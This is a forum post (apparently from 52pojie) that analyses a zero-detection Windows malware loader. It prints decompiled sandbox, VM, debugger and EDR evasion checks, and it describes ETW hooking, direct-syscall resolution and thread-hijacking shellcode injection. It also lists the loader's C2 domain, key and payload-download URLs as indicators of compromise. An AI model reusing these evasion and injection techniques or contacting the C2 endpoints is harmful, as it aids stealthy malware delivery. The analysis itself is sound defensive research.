吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 682|回复: 2
上一主题 下一主题
收起左侧

[PC样本分析] VT0检测样本分析(一)

  [复制链接]
跳转到指定楼层
楼主
Rax 发表于 2025-12-21 22:44 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!

sha256: 6366946bb933e452b32e936adcc67c7c7240dbcc0f8830829dd2413c588e62cc

截止目前VT 0查杀

该样本在微步云沙箱上也有提交,依然0查杀

该样本被提交到云沙箱甚至比VT更早

概述

    该样本是一个高度模块化、具备强对抗能力的 Windows64 平台恶意加载器 / 投递器)。

其核心目标是在尽可能规避安全监控与分析环境的前提下,从远程服务器获取后续载荷,并通过进程注入方式执行。

样本在执行流程中表现出明显的高价值目标筛选与反分析行为,其设计复杂度与环境感知能力明显高于普通犯罪样本

样本分析

环境检测

sub_140002710

    该样本通过多个环境检测模块计算一系列评分值,并使用一个带浮点合法性校验的比较函数对这些评分进行聚合,始终保留最极端的结果作为最终环境评分。该最终评分用于风险评估进行运行决策。

    其环境检测从多维度进行检查, 复杂度比较高, 非常具有学习价值。其中包含
  • VM 检测(CPUID / MAC / Registry / 驱动)
  • 沙箱行为建模(Prefetch、EventLog、Uptime)
  • EDR 枚举(CrowdStrike / SentinelOne / Cylance…)
  • Hook / Detours / EasyHook 检测
  • 时间源完整性(Sleep / QPC / RDTSC / VM Exit)
  • 用户行为检测(输入、剪贴板、USB、RecentDocs)

在全部检查后根据分数进行环境判断

综合评分 (score) 篡改标志 (tampered) 最终判定结果
≥ 95 true DEFINITE_SANDBOX (确定沙箱)
≥ 95 false LIKELY_REAL_SYSTEM (极可能是真实系统)
85 – 95 true LIKELY_SANDBOX (很可能是沙箱)
85 – 95 false LIKELY_REAL_SYSTEM (极可能是真实系统)
70 – 85 true PROBABLE_SANDBOX (可能是沙箱)
70 – 85 false PROBABLE_REAL_SYSTEM (可能是真实系统)
< 70 true POSSIBLE_SANDBOX (疑似沙箱)
< 70 false UNCERTAIN (不确定)
  1. 时序分析技术

Sleep 精度检测

QueryPerformanceFrequency((LARGE_INTEGER *)v270);
QueryPerformanceCounter((LARGE_INTEGER *)v272);
Sleep(0x64u);  // 100ms
QueryPerformanceCounter((LARGE_INTEGER *)v273);
if ((double)(v273[0].dwFileAttributes - *(_DWORD *)v272) / (double)SLODWORD(v270[0]) * 1000.0 < 50.0)
{
    v8 = 7.0;  // 评分直接降到7.0
    strcpy((char *)v278, "SLEEP_HOOKED ");
}

检测原理: 测量Sleep(100ms)的实际执行时间,如果小于50ms,说明Sleep被Hook或加速

CPUID 延迟检测

v72 = __rdtsc();
__asm { cpuid }
v81 = __rdtsc();
if ((((unsigned __int64)HIDWORD(v81) << 32) | (unsigned int)v81) - v76 > 0x3E8)
{
    v8 = v8 - 2.0;
    strcat((char *)v278, "VM_EXIT_OVERHEAD ");
}

检测原理: 测量CPUID指令执行时间,如果超过1000个CPU周期,说明存在虚拟机退出开销

RDTSC 抖动检测

// 在极短时间内采样一系列CPU时间戳
do {
    v82 = (PROCESSENTRY32W *)((char *)v82 + 8);
    *(_QWORD *)&v82[-1].szExeFile[258] = __rdtsc();
} while (&v274[0].szExeFile[18] != (WCHAR *)v82);

// 计算时间差的标准差
if (v85 / 9.0 < 100.0) {
    v8 = v8 - 1.5;
    strcat((char *)v278, "LOW_RDTSC_JITTER ");
}

检测原理: 在虚拟化环境中,RDTSC指令的返回值往往更加规律,抖动较小

  1. 系统运行时间检测
if (GetTickCount() <= 0xDBB9F)  // 约15分钟
{
    v8 = v8 - 1.0;
    strcat((char *)v278, "SHORT_UPTIME ");
}

检测原理: 沙箱环境通常运行时间较短

  1. 用户交互检测

用户输入检测

if (GetLastInputInfo((PLASTINPUTINFO)v274) && GetTickCount() - v274[0].cntUsage > 0x493E0)
{
    v13 = 8.0;
    strcpy((char *)v278, "NO_RECENT_INPUT ");
}

检测原理: 检测5分钟内是否有键盘/鼠标活动

剪贴板检测

if (OpenClipboard(0LL)) {
    if (!CountClipboardFormats()) {
        v14 = v14 - 1.0;
        strcat((char *)v278, "EMPTY_CLIPBOARD ");
    }
    CloseClipboard();
}

检测原理: 真实用户环境通常剪贴板中有内容

  1. 系统痕迹检测

USB使用历史

if (!RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Enum\\USBSTOR", 0, 0x20019u, (PHKEY)v273)) {
    // 检查子键数量
    if (!(*(_DWORD *)v272 | InfoKeyA)) {
        v14 = v14 - 1.5;
        strcat((char *)v278, "NO_USB_HISTORY ");
    }
}

检测原理: 真实系统通常有USB设备使用历史

最近文档检测

if (!RegOpenKeyExA(-2147483647LL, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs", ...)) {
    if (*(_DWORD *)v272 <= 4u) {
        v14 = v14 - 1.0;
        strcat((char *)v278, "NO_JUMP_LISTS ");
    }
}

检测原理: 真实用户通常有最近打开的文件记录

  1. 磁盘特征检测

磁盘大小检测

if (((v269 * v268 * v266.LowPart * v267) & 0x3FFFFFFF) == 0) {
    v107 = 9.0;
    strcpy(v272, "ROUND_DISK_SIZE ");
}

检测原理: 虚拟磁盘大小通常是规整的数字

磁盘厂商检测

if (strstr(v108, "VBOX") || strstr(v108, "VMware") || strstr(v108, "QEMU") || strstr(v108, "Msft")) {
    v107 = v107 - 3.0;
    strcat(v272, "VM_VENDOR_ID ");
}

检测原理: 检测磁盘厂商信息中的虚拟机标识

磁盘序列号熵值分析

// 计算磁盘序列号的熵值
if (v229 < 3.0)  // 熵值过低
    v107 = v107 - *(double *)&v9;

检测原理: 虚拟磁盘的序列号通常熵值较低或有规律

  1. 内存特征检测

    内存分配模式分析

// 多次分配和释放内存,测量时间
do {
    QueryPerformanceCounter(v265);
    v189 = VirtualAlloc(0LL, v187, 0x3000u, 4u);
    QueryPerformanceCounter(&v266);
    *(double *)&v272[8 * v186] = (double)(v266.LowPart - LODWORD(v265[0])) / (double)v264 * 1000000.0;
    if (v189) {
        QueryPerformanceCounter(v265);
        VirtualFree(v189, 0LL, 0x8000u);
        QueryPerformanceCounter(&v266);
        v188 = (double)(v266.LowPart - LODWORD(v265[0])) / (double)v264 * 1000000.0;
    }
} while (v186 != 32);

检测原理: 分析内存分配和释放的时间模式

内存页面特征分析

// 分析内存页面的熵值和重复模式
v163 = 1;
for (j = 1LL; j <= 1023; ++j) {
    if (v146->m128i_i32[j] != v146->m128i_i32[0]) {
        v163 = 0;  // 页面内容不一致
        break;
    }
}

检测原理: 虚拟化环境中的内存页面可能具有特殊模式

环境检测技术分析

  1. 安全软件检测

    进程枚举检测

do {
    if (!strstr((const char *)v274[0].szExeFile, "crowdstrike")
        && !strstr((const char *)v274[0].szExeFile, "sentinelone")
        && !strstr((const char *)v274[0].szExeFile, "cylance")
        && !strstr((const char *)v274[0].szExeFile, "carbonblack")
        && !strstr((const char *)v274[0].szExeFile, "defender")
        && !strstr((const char *)v274[0].szExeFile, "avast")
        && !strstr((const char *)v274[0].szExeFile, "kaspersky")
        && !strstr((const char *)v274[0].szExeFile, "symantec")) {
        // 继续枚举
    } else {
        v20 = v20 + 1.0;
        strcat((char *)v273, "EDR_DETECTED ");
        break;
    }
} while (Process32NextW(v23, v274));

检测目标: CrowdStrike、SentinelOne、Cylance、CarbonBlack、Defender、Avast、Kaspersky、Symantec等

有趣的是, 开发者对于这些部署了edr和杀毒软件 的机器并没有持消极的态度,反而进行加分, 表面了开发者针对企业级高价值目标的趋势。

哈希匹配检测

// 使用哈希值匹配进程名,避免字符串直接比较
v2 = sub_140014CF0(MultiByteStr);  // 计算进程名哈希
v3 = -1356851726;  // 黑名单哈希值
do {
    if (v2 == v3) {
        strcpy(Destination, MultiByteStr);
        return 0.0;  // 检测到安全软件,返回0分
    }
    v3 = *v4++;
} while (v3);
  1. 系统配置检测

    已安装程序数量

if (v274[0].dwSize <= 0x13) {  // 安装程序少于20个
    v24 = 8.0;
    strcpy((char *)v278, "FEW_INSTALLED_PROGRAMS ");
}

检测原理: 沙箱环境通常安装的程序较少

字体数量检测

if (v274[0].dwSize <= 0x63) {  // 字体少于100个
    v24 = v24 - 1.0;
    strcat((char *)v278, "FEW_FONTS ");
}

检测原理: 真实系统通常有大量字体

注册表复杂度

if (v274[0].dwSize <= 0x31) {  // 注册表项少于50个
    v24 = v24 - 1.5;
    strcat((char *)v278, "SIMPLE_REGISTRY ");
}

检测原理: 沙箱环境的注册表通常较简单

  1. 系统文件检测

    系统文件数量

if (v26 <= 499) {  // System32目录下文件少于500个
    v24 = v24 - 1.0;
    strcat((char *)v278, "FEW_SYSTEM_FILES ");
}

检测原理: 完整Windows系统有大量系统文件

Prefetch文件分析

// 分析Prefetch文件的数量和时间戳
if (v62 <= 29) {  // Prefetch文件少于30个
    v52 = v52 - 4.5;
    strcat((char *)v274, "FEW_PREFETCH_FILES ");
}

检测原理: 真实系统的Prefetch文件较多且有合理的时间分布

Prefetch时间戳聚类分析

// 分析Prefetch文件创建时间的聚类程度
if (v71 > 0.8) {  // 高度聚类
    v52 = v52 - 3.0;
    strcat((char *)v274, "CLUSTERED_PREFETCH_TIMESTAMPS ");
}

检测原理: 沙箱中运行的程序通常时间戳高度集中

  1. 系统日志检测

系统事件日志数量

if (LODWORD(v278[0]) <= 0x7CF) {  // 系统事件少于1999个
    v52 = 5.0;
    strcpy((char *)v274, "FEW_SYSTEM_EVENTS ");
}

检测原理: 真实系统有大量事件日志

应用程序事件日志数量

if (LODWORD(v278[0]) <= 0x3E7) {  // 应用事件少于999个
    v52 = v52 - 4.0;
    strcat((char *)v274, "FEW_APP_EVENTS ");
}

检测原理: 真实系统有大量应用程序事件

4.3 Windows更新历史

if (LODWORD(v278[0]) <= 4) {  // 更新历史少于5个
    v52 = v52 - 4.0;
    strcat((char *)v274, "NO_UPDATE_HISTORY ");
}

检测原理: 真实系统通常有更新历史

  1. 网络配置检测

ARP表检测

// 通过checkVM_by_Netconfig()函数检测网络配置
// 检测项包括:
// - ARP表条目 ≤ 4:扣1.5分
// - 无Wi-Fi配置:扣1.0分
// - VirtualBox MAC:扣2.0分
// - VMware MAC:扣2.0分
// - 无有效网卡:扣1.5分

检测原理: 虚拟机的网络配置通常较简单或有特定MAC地址

  1. COM组件检测

    COM类数量

if (v274[0].dwSize <= 0x1F3) {  // COM类少于500个
    v91 = 7.0;
    strcpy((char *)v278, "FEW_COM_CLASSES ");
}

检测原理: 真实系统有大量COM组件

WMI存储库检测

if (v96 * 0.00000095367431640625 < 10.0) {  // WMI存储库小于10MB
    v91 = v91 - *(double *)&v9;
    strcat((char *)v278, "SMALL_WMI_REPO ");
}

检测原理: 真实系统的WMI存储库较大

  1. 回收站分析

    回收站文件分析

// 分析回收站中的文件数量、大小和时间分布
if (*(_QWORD *)&v234 - *(_QWORD *)&ftCreationTime <= 0xD693A3FFuLL) {
    v102 = 8.5;
    strcpy((char *)v274, "CLUSTERED_RECYCLE_TIMES ");
}

检测原理: 沙箱中删除的文件时间戳可能高度集中

回收站文件大小

if (v103 / ((double)v100 * 1024.0) < 1.0) {  // 平均文件大小小于1KB
    v102 = v102 - 1.0;
    strcat(v12, "TINY_RECYCLE_FILES ");
}

检测原理: 真实用户的回收站中通常有较大文件

  1. 磁盘SMART检测

    SMART支持检测

if (DeviceIoControl(FileA, 0x74080u, 0LL, 0, v278, 0x18u, &v10->dwFileAttributes, 0LL)) {
    if ((BYTE4(v278[0]) & 4) != 0) {
        strcat((char *)&v274[0].th32ProcessID, "SMART_CAPABLE ");
    } else {
        strcat((char *)&v274[0].th32ProcessID, "NO_SMART_SUPPORT ");
    }
}

检测原理: 虚拟机通常不支持或不完全支持SMART

反调试技术

  1. 调试器检测

    IsDebuggerPresent API检测

if (!IsDebuggerPresent()) {
    goto LABEL_30;
} else {
    v20 = v20 - 3.0;
    strcat((char *)v273, "DEBUGGER_PRESENT ");
}

检测原理: 直接调用Windows API检测调试器

PEB NtGlobalFlag检测

v21 = NtCurrentPeb();
if (v21 && (v21->NtGlobalFlag & 0x70) != 0) {
    v20 = v20 - *(double *)&v9;
    strcat((char *)v273, "NTGLOBALFLAG_SET ");
}

检测原理: 检测PEB中的NtGlobalFlag标志位(FLG_HEAP_ENABLE_TAIL_CHECK等)

  1. Hook检测

    DLL注入检测

// 枚举进程加载的DLL
while (1) {
    if (K32GetModuleFileNameExA(CurrentProcess, v278[v17], (LPSTR)v274, 0x104u)) {
        // 转换为小写
        for (i = v274; LOBYTE(i->dwSize); dwSize = i->dwSize) {
            i = (PROCESSENTRY32W *)((char *)i + 1);
            HIBYTE(i[-1].szExeFile[261]) = tolower(dwSize);
        }

除上述环境检测方法外,还有涉及Wifi配置,打印机驱动等等环境检测方案,数量过多并繁杂,这里只给出几个典型例子。

综上所诉,该样本在侦察和防御规避上下足了功夫。对安全研究人员有一定参考价值。

初始化阶段

  1. WINAPI HOOK

初始加载7个预计算的ntdll导出函数hash 值,

后续加载ntdll.dll 后,遍历导出函数表,使用FNV-1a hash取函数名hash 值与预计算的hash 进行比较。

对于每一个查找到的导出函数

解密获取到导入的函数

// [MATCH 1] 0xE8F45F7B -> EtwEventWriteEx
// [MATCH 2] 0x671697A7 -> EtwEventWriteFull
// [MATCH 3] 0xE5F4BDDE -> EtwEventWrite
// [MATCH 4] 0x21419E94 -> NtTraceEvent
// [MATCH 5] 0x326E5E8E -> EtwEventRegister
// [MATCH 6] 0xB68708D5 -> EtwEventWriteTransfer
// [MATCH 7] 0x8DEF088F -> EtwEventWriteString

看到开发者导入的都是和ETW(Windows 事件跟踪)相关的api

后续将winapi相关信息写入全局数组中,并保存api的前16byte ,做win api hook. 让ETW相关api 不能正常执行,实现EDR对抗。

  1. 直接系统调用

该代码从 ntdll.dll 的导出表中枚举所有 Zw* 函数,提取其真实实现地址,按 syscall 编号顺序排序,并解析每个 Zw 函数的 syscall stub,最终将 syscall 入口地址与 syscall 编号写入内部函数表,用于后续通过 syscall 指令进行间接系统调用,从而绕过用户态 API Hook。

样本在解析 Zw 函数时,顺序扫描函数实现体,跳过可能存在的 jmp 指令,以绕过用户态 Hook,并最终定位真实的 syscall; ret 指令序列,从而实现 Halo’s Gate 风格的系统调用解析。

在完成系统调用解析后,样本对内部 syscall 描述表进行完整性校验,确认关键 Zw 系统调用的 syscall stub 是否成功初始化。对于解析失败或缺失的调用,样本通过日志输出提示信息,并在完成检查后释放临时的 Zw 枚举数据结构,结束 syscall resolver 初始化阶段。

后续关于Zwwinapi 的调用都是通过sub_140001575函数实现,其功能为通过作为参数的函数指针执行指定的windows api 函数。

  1. 构造UID

通过 CPU 指纹,MachineGuid,计算机名 拼接在一起,构造形式为CPU:<CPU_FINGERPRINT>|GUID:<MachineGuid>|PC:<ComputerName> 的指纹

后续取hash 作为被控机指纹

  1. 创建httpclient

C2url 被加密编码在程序中,每次都通过函数获取, C2URL: https[:]//81239621879dudqwdwahu9877[.]xyz

密钥同样被编码在程序里 ,通过函数获取 KEY: 68e577406623798db0c4f3cf

在获取C2url 和密钥后,对url 进行解析, http 和htpps 分别使用80,443端口。

随后创建https 连接, 并发送上线包,上线包格式为 fingerprint={hash(CPU:<CPU_FINGERPRINT>|GUID:<MachineGuid>|PC:<ComputerName>)}&build_id={KEY}

执行shellcode

在初始化一切妥当后 , 会从服务器拉取shellcode 到本机执行。

其中一共有四个url 先后执行:

https[:]//81239621879dudqwdwahu9877[.]xyz/api/collections/create
https[:]//81239621879dudqwdwahu9877[.]xyz/api/downloads/abe

https[:]//81239621879dudqwdwahu9877[.]xyz/api/downloads/extractor

https[:]//81239621879dudqwdwahu9877[.]xyz/api/downloads/robcord

通过POST请求从服务器拉取shellcode

后续使用密钥解密

解密后 ,通过远程线程注入执行。

创建并挂起一个notepad进程

并保存为如下形式的结构

// {
//  HANDLE ProcessInformation.hProcess
//  HANDLE ProcessInformation.hThread
//  PID    ProcessInformation.dwProcessId
// }

创建后保留为全局变量。

随后使用Thread Context Hijacking 技术执行shellcode

间接调用 ZwAllocateVirtualMemory,在目标进程地址空间中分配一块与 payload 大小一致的内存区域,初始权限为可读写(RW)。
使用 ZwWriteVirtualMemory 将解密后的 payload 写入上述远程内存区域,并校验实际写入字节数,确保数据完整。
调用 ZwProtectVirtualMemory 将内存权限从 RW 修改为 RX(可执行但不可写),避免使用 RWX 权限以降低行为特征。
通过 ZwGetContextThread 获取目标线程上下文,随后使用 ZwSetContextThread 将线程的指令指针(RIP/EIP)重定向至注入的 payload 起始地址。
调用 ZwResumeThread 恢复目标线程运行,payload 开始在目标进程上下文中执行,实现代码注入与持久执行。

溯源分析

域名目前还可以正常解析。 ip 来源美国

现已经被VT标记

目前已经被两家标记。

ATT&CK

攻击阶段 技术/子技术 攻击活动具体体现
防御规避 T1497.001 - 虚拟化/沙箱逃逸:系统检查 执行超过30种环境检测,基于综合评分判定是否运行。
T1497.003 - 虚拟化/沙箱逃逸:时间规避 执行高精度时序分析检测:测量 Sleep(100ms) 的实际耗时(若小于50ms则判定被Hook)、测量CPUID指令执行周期(检测VM Exit开销)、分析RDTSC指令返回值的抖动规律。
T1622 - 调试器规避 通过调用 IsDebuggerPresent() API、检查进程PEB结构中的 NtGlobalFlag 标志位等方式,检测调试器是否存在。
T1562.001 - 禁用或修改工具:禁用或修改安全工具 1. Hook ETW API:通过哈希(FNV-1a)动态解析并Hook ntdll.dll 中7个ETW(事件跟踪)相关函数(如 EtwEventWrite),使其失效,以对抗EDR基于ETW的检测。<br />2. 使用直接系统调用:从 ntdll.dll 中动态解析所有 Zw* 函数的系统调用号及真实指令地址,绕过用户态API Hook,实现隐蔽的系统调用(Halo's Gate风格)。
T1055 - 进程注入 采用线程上下文劫持技术注入Shellcode:先创建挂起的 notepad.exe 进程,通过直接系统调用(ZwAllocateVirtualMemory, ZwWriteVirtualMemory)在其内存中分配并写入Shellcode,修改内存权限为RX,最后修改线程上下文指令指针(RIP/EIP)并恢复线程执行。
T1027 - 混淆文件或信息 1. 静态字符串与配置加密:C2服务器地址(https[:]//81239621879dudqwdwahu9877[.]xyz)和通信密钥(68e577406623798db0c4f3cf)均以加密形式存储在程序中,动态解密使用。<br />2. 流量加密:与C2服务器传输的Shellcode载荷在服务器端加密,本地使用密钥解密后执行。
T1070.004 - 删除主机上的文件 样本在执行过程中会创建临时文件用于环境检测计算,在完成判断后将其删除,以清理痕迹。
发现 T1082 - 系统信息发现 收集并拼接CPU指纹、MachineGuid、计算机名,生成格式为 `CPU:<指纹>
T1518.001 - 安全软件发现 枚举系统进程,通过字符串匹配或哈希匹配方式,主动识别是否存在 CrowdStrike, SentinelOne, Cylance, Defender 等多种企业级EDR和杀毒软件。值得注意的是,检测到这些软件会加分,表明攻击者针对的是部署了高级防护的高价值企业目标。
T1083 - 文件和目录发现 分析C:\Windows\Prefetch目录中的预读取文件数量和时间戳分布,作为判断是否为真实用户环境的依据之一。
T1012 - 查询注册表 查询大量注册表键来评估系统真实性,例如:USBSTOR(USB使用历史)、RecentDocs(最近文档)、系统安装的字体数量、COM类数量等。
命令与控制 T1071.001 - 应用层协议:Web协议 使用HTTPS协议与C2服务器(81239621879dudqwdwahu9877[.]xyz)进行通信,通信端口为443。
T1105 - 入口工具转移 核心功能是作为加载器,从C2服务器下载加密的Shellcode,解密后通过进程注入技术执行,实现载荷的远程投放。

IOC

url :https[:]//81239621879dudqwdwahu9877[.]xyz

sha256: 6366946bb933e452b32e936adcc67c7c7240dbcc0f8830829dd2413c588e62cc

总结

从代码规模、反分析深度、系统建模复杂度及裁决机制来看,该样本明显超出普通恶意软件或低端犯罪工具的技术水平。其设计目标不仅包括逃避自动化分析,还明确针对企业级 EDR 与人工逆向分析。并且该样本接近一个月处于免杀状态(VT0检测) ,对于安全研究人员有一定学习价值。

本人第一次发文,如有分析错误的地方,欢迎指出。

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
不爱everyone + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
uarn 发表于 2025-12-22 11:42
最后被标记还是因为程序的行为异常吗?
3#
嘿嘿嘿001 发表于 2025-12-23 21:59
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-12-25 13:08

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表